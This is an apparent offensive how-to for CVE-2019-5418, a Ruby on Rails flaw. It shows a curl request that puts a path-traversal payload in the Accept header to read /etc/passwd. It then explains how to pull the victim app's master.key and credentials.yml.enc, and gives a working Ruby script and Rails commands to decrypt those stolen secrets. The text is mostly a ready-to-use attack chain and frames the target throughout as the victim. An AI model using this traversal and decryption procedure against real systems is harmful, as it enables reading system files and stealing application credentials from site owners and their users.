Expose & Decrypt Ruby on Rails credentials.yml.enc
Ruby on Rails is vulnerable to critical information disclosure using the “Accept” header technique (CVE-2019-5418). This can leak the rails app’s secret credentials via directory traversal.
Expose master key and encrypted credentials
First find a path in the Rails app that uses the render file
method. Typically a 404 page implements this to render the view. Read more about the root cause of this vulnerability from chybeta.
Using Burp Suite Repeater or curl request, test vulnerabilty by setting header value to Accept: ../../../../../../etc/passwd{{
.
For example:
curl -H 'Accept: ../../../../../../etc/passwd{{' http://vulnerable-site.com/vulnerable-page
If that works, expose the contents of following files:
- config/master.key (16 byte hex-encoded key)
- config/credentials.yml.enc (encrypted credentials using AES-GCM-128)
If copying and pasting the output of these from terminal stdout or Burp, make sure any unintended whitespace byte is stripped out of the saved file. Otherwise decryption will be corrupted.
Vim by default adds a newline (\n) byte at end-of-file. To avoid this, run these commands within vim:
:set binary
:set noeol
:wq
Alternatively, if making the HTTP request with curl, use the -o <save as filename>
flag to save response bytes directly to a file.
Decrypt the credentials
You have two options to decrypt: write a simple ruby script by patching together snippets from Ruby on Rails source code, or use your own local rails instance to run credentials:edit
on these victim files.
Example ruby script to decrypt credentials.yml.enc
using master.key
:
require "base64"
require "openssl"
require "json"
@cipher = 'aes-128-gcm'
credentials = File.read("credentials.yml.enc")
@key = [File.read("master.key")].pack("H*")
puts @key.length
def new_cipher
OpenSSL::Cipher.new(@cipher)
end
def decrypt(value)
cipher = new_cipher
encrypted_data, iv, auth_tag = value.split("--".freeze).map { |v| ::Base64.strict_decode64(v) }
cipher.decrypt
cipher.key = @key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""
decrypted_data = cipher.update(encrypted_data)
decrypted_data << cipher.final
return decrypted_data
end
decrypted = decrypt(credentials)
puts decrypted
To decrypt with rails’ built-in credentials:edit
command, first setup the environment. Use rvm
to install ruby 2.5.1
and gem install rails -v 5.2.2
. Then run rails new <tmp project name>
to initialize a temporary instance of a rails app. Then copy over victim credentials.yml.enc
and master.key
into the `./config’ folder of the app, overwriting what’s been initialized by default. Finally, this built-in rails command should automatically decrypt and output the contents of the credentials file for you:
EDITOR="vim" bin/rails credentials:edit